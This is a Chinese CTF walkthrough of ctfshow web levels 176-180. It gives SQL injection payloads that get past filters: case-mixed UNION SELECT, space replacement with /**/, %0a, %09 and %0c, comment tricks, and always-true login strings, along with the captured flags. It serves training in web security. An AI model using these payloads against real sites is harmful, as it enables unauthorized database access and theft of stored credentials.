ctfshow-web入门-sql注入(web176-web180)

目录

1、web176

2、web177

3、web178

4、web179

5、web180


1、web176

1' order by 4--+

 闭合后简单判断了下字段数是 3 

测试联合查询注入,存在关键字的过滤,包括 select 和 union

(后面经过测试实际只过滤了 select)

大小写绕过一下:

0' Union Select 1,2,3--+

回显成功 

数据库我都懒得查了,直接用 database() 函数回显的结果,查表:

0' Union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

得到表名为 ctfshow_user 

查该表下的所有列名:

0' Union Select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

题目中要求 username !='flag'

我们只查 id 和 password:

0' Union Select 1,id,password from ctfshow_user--+

拿到 flag:ctfshow{4dacb0f6-4795-43f4-8b76-d300234e40b6}

2、web177

测了一下是单引号,但是尝试注释后面的内容发现没有报错但是也没有回显

再用一个分号将后面的闭合,回显成功

可是在判断字段数时又没有回显了 

猜测空格被过滤掉了,采用内敛注释绕过,但是这里结尾的分号得用 url 编码的形式,即 %23,不然没有回显示,但是第一个单引号就可以直接用,我也不清楚是什么原因:

1'/**/order/**/by/**/3%23

还是在 4 的时候报错:

直接用上一题的 payload 改,将空格用 /**/ 替换:

0'/**/Union/**/Select/**/1,id,password/**/from/**/ctfshow_user%23

拿到弗兰格:ctfshow{0350cbf2-1553-46c3-bb48-f627bffcae9d}

此外,在前面的 rce 学习中,我们知道空格也可以用 %0a(换行符) 代替:

0'%0aUnion%0aSelect%0a1,id,password%0afrom%0actfshow_user%23

%09 水平制表符 (Tab) 也可以:

0'%09Union%0aSelect%091,id,password%09from%09ctfshow_user%23

 

3、web178

还是过滤空格,并且过滤了内敛注释,采用后面说的另外的两种方法:

0'%0aUnion%0aSelect%0a1,id,password%0afrom%0actfshow_user%23
0'%09Union%0aSelect%091,id,password%09from%09ctfshow_user%23

拿到 flag:ctfshow{9555668c-9592-41cd-9b2f-00d9627842b3}

4、web179

将上面的两个 %0a 和 %09 都过滤了,这是要赶尽杀绝啊。

试了下回车符 %0d 发现不行,采用 %0c (换页符)绕过:

0'%0cUnion%0cSelect%0c1,id,password%0cfrom%0cctfshow_user%23

 

拿到 flag:ctfshow{fd098ddd-f01e-414a-96dd-98548cec2fe3}

还可以采用万能密码:

1'||1%23

5、web180

这里 %23 、注释符都不行了,采用 --%0c 注释,%0c 代替空格:

判断字段数

1'order%0cby%0c3--%0c

 字段数还是 3 

 

查数据库名:

0'Union%0cSelect%0c1,2,database()--%0c

 数据库名为 ctfshow_web

 

查表名:

0'Union%0cSelect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c

得到表名为  ctfshow_user

查列名:

0'Union%0cSelect%0c1,2,column_name%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'--%0c

 

查 password 就行了:

0'Union%0cSelect%0c1,2,password%0cfrom%0cctfshow_user--%0c

 

拿到 flag:0'Union%0cSelect%0c1,2,password%0cfrom%0cctfshow_user--%0c 

也可以在 union select 里再嵌套一个 select :

0'%0cUnion%0cSelect%0c1,(Select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3

 

尝试上一题的万能密码,闭合后面语句,但是只能看到一行的数据:

0'||'1

我们只显示 username 为 flag 的信息:

0'||username='flag

注释掉后面内容,可以显示全部:

0'||1--%0c

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/390718.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Star-CCM+负体积网格检查与出现原因

要使网格可用于有限体积计算,每个网格单元必须具有正体积,否则初始化过程将失败,且模拟计算无法运行。 负体积网格单元可能会以多种不同的方式出现,但必须修复或从网格中移除,才能继续执行任何后续操作。 要检查体网…

力扣hot100-二叉树

文章目录 概要二叉树的基本概念常见的二叉树类型常用的二叉树遍历二叉树的常用技巧 题目:二叉树的中序遍历方法1--递归遍历方法2--使用栈 概要 二叉树(Binary Tree)是一种树形数据结构,其中每个节点最多有两个子节点,…

docker安装与container基本使用

安装 Homebrew 的 Cask 已经支持 Docker for Mac, mac用户狂喜 brew install --cask --appdir/Applications docker其他入门用法可参考 Docker Hello World- 菜鸟教程 或网上自行搜索博客学习。本文主要记录我运行go-zero-mall用到的一些注意点。当然,gonivinck项…

本地项目提交到Gitee

在项目目录 右键 git bash here 可以在黑屏输入命令 也可以在项目里面 命令都是一样的 要排除哪些 git add . 添加所有文件 git commit -m "Initial commit" 提交到本地 git remote add origin https://gitee.com/xxxx/xxxx.git 添加远程仓库 …

【多线程】线程的五种创建方法

文章目录 线程在 Java 代码中编写多线程程序Thread 标准库 创建线程的写法1 . 继承 Thread 类代码回调函数休眠操作:sleep()抢占式执行观察线程jconsoleIDEA 内置调试器 2 . 实现 Runnable 接口代码 3. 匿名内部类创建 Thread ⼦类对象代码匿名内部类 4.匿名内部类创…

PCB设计经验——布线原则

1.连线精简——避免直角布线 导线也应看作一种元器件,有自己的电阻,电感,电容 PCB走线在直角转弯的地方,信号前后部分相互影响,导致分布电容增加,对信号上升沿和下降沿有延缓影响。从阻抗的角度来说&#…

海康笔试题

1. 2. 块设备:磁盘设备驱动、SD设备驱动 字符设备:终端设备驱动 网络设备:网络设备驱动 (1)linux操作系统驱动程序分为三大类:字符设备驱动、快设备驱动和网络设备驱动 (2)字符设…

渗透测试--DHCP饿死实验

实验拓扑 实验步骤 Router Router(config)#int f0/0 Router(config-if)#ip address 192.168.100.254 255.255.255.0 Router(config-if)#no shutdown Router(config-if)#exitRouter(config)#ip dhcp pool NAME Router(dhcp-config)#network 192.168.100.0 255.255.255.0 Route…

过期知识:thinkphp5 使用migrate给现有的数据表新增表字段

个人开发网站记录, 这个文章主要是个以后健忘的我看的. 我在搞我的画笔审核 , 发现数据表的画笔数据在审核驳回的时候还是软删除好一些, 免得用户找不到之前上传的画笔数据, 后期也可以考虑重新显示给用户,让用户可以修改画笔信息重新提交审核. 这个时候想起了…

脚拉脚模型笔记

脚拉脚模型 ⌈♪⌋例题: 辅助线(中点)做法: 倍长中线Rt △ △ △ 斜边中线等腰 △ △ △ 三线合一中位线 需要:两个等腰三角形,顶角互补 共__底点__ 底角需要连接 解: ∵ D Q 1 / 2 A B O…

【Qt】QDial和QSlider

QDial QDial类用于创建一个旋转式的圆形控件,通过鼠标点击旋转、方向键或者pageUp和pageDown调整一个值。常用在需要进行连续调整的场景,比如音量控制、亮度控制、透明度调节等 常见属性 属性说明value持有的值minimum持有值所能到达的最小值maximum持有…

【C语言】C语言期末突击/考研--函数

目录 一、函数的声明与定义-嵌套调用 1.1.函数的声明与定义 1.2.函数的分类与调用 二、函数的递归调用 三、局部变量与全局变量 3.1.全局变量解析形参实参解析 3.2.局部变量与全局变量 四、练习题及解析 一、函数的声明与定义-嵌套调用 1.1.函数的声明与定义 函数间的…

操作系统原理:程序、进程、线程的概念

文章目录 程序、进程、线程的概念程序(Program)进程(Process)线程(Thread)关系总结 在日常对操作系统的使用中,大家肯定对程序、进程和线程多少有所耳闻。作为操作系统的重要一部分,…

R 语言学习教程,从入门到精通,R的安装与环境的配置(3)

1、R 基础语法 一门新的语言学习一般是从输出 “Hello, World!” 程序开始&#xff0c;R 语言的 “Hello, World!” 程序代码如下&#xff1a; myString <- "Hello, World!" print ( myString )以上示例将字符串 “Hello, World!” 赋值给 myString 变量&#x…

# mongodb_基础到进阶 -- MongoDB 高级--MongoDB 集群部署与安全性(四)

mongodb_基础到进阶 – MongoDB 高级–MongoDB 集群部署与安全性&#xff08;四&#xff09; 一、mongodb 第一个路由节点创建 1、分片集群架构目标 两个分片节点副本集&#xff08;33&#xff09;一个配置节点副本集&#xff08;3&#xff09;两个路由节点&#xff08;2&am…

day17 Java流程控制——用户交互Scanner

day17 Java流程控制——用户交互Scanner 目录 day17 Java流程控制——用户交互Scanner1. 什么是Scanner对象&#xff1f;2. 实操 1. 什么是Scanner对象&#xff1f; Scanner对象是Java编程语言中的一个类&#xff0c;存在于java.util包中。它用于获取输入&#xff0c;可以是各…

【letcode-c++】242有效的字母异位词与49字母异位词分组

一、242 有效的字母异位词 &#xff08;1&#xff09;题目 &#xff08;2&#xff09;知识点–哈希 【这一段总结来自于代码随想录的讲解学透哈希表 哈希的优势是可以实现快速查找&#xff0c;它非常适合应用与查找某一个元素是否在一个集合中出现。 哈希有三种实现形式&…

C++篇:入门(2)

引用 引用的概念以及定义&#xff1a; 在C中&#xff0c;引用&#xff08;Reference&#xff09;是一个非常重要的概念又可以称之为取别名&#xff0c;它允许我们创建一个已存在对象的别名。引用提供了一种机制&#xff0c;通过它可以直接访问另一个变量、对象或函数的值&#…

【Python 逆向滑块】(实战五)逆向滑块,并实现用Python+Node.js 生成滑块、识别滑块、验证滑块、发送短信

逆向日期&#xff1a;2024.08.03 使用工具&#xff1a;Python&#xff0c;Node.js 本章知识&#xff1a;滑块距离识别&#xff0c;滑块轨迹生成&#xff0c;验证滑块并获取【validate】参数 文章难度&#xff1a;中等&#xff08;没耐心的请离开&#xff09; 文章全程已做去敏处…

【时时三省】(C语言基础)函数递归练习

山不在高&#xff0c;有仙则名。水不在深&#xff0c;有龙则灵。 ——csdn时时三省 求字符串长度 求的是arr里面字符串的长度 abc后面还有一个\0为结束标志 在结算字符串长度的时候不算\0 所以它的长度是3 模拟实现一个strlen函数 str等于\0的时候就会结束返回count 如果…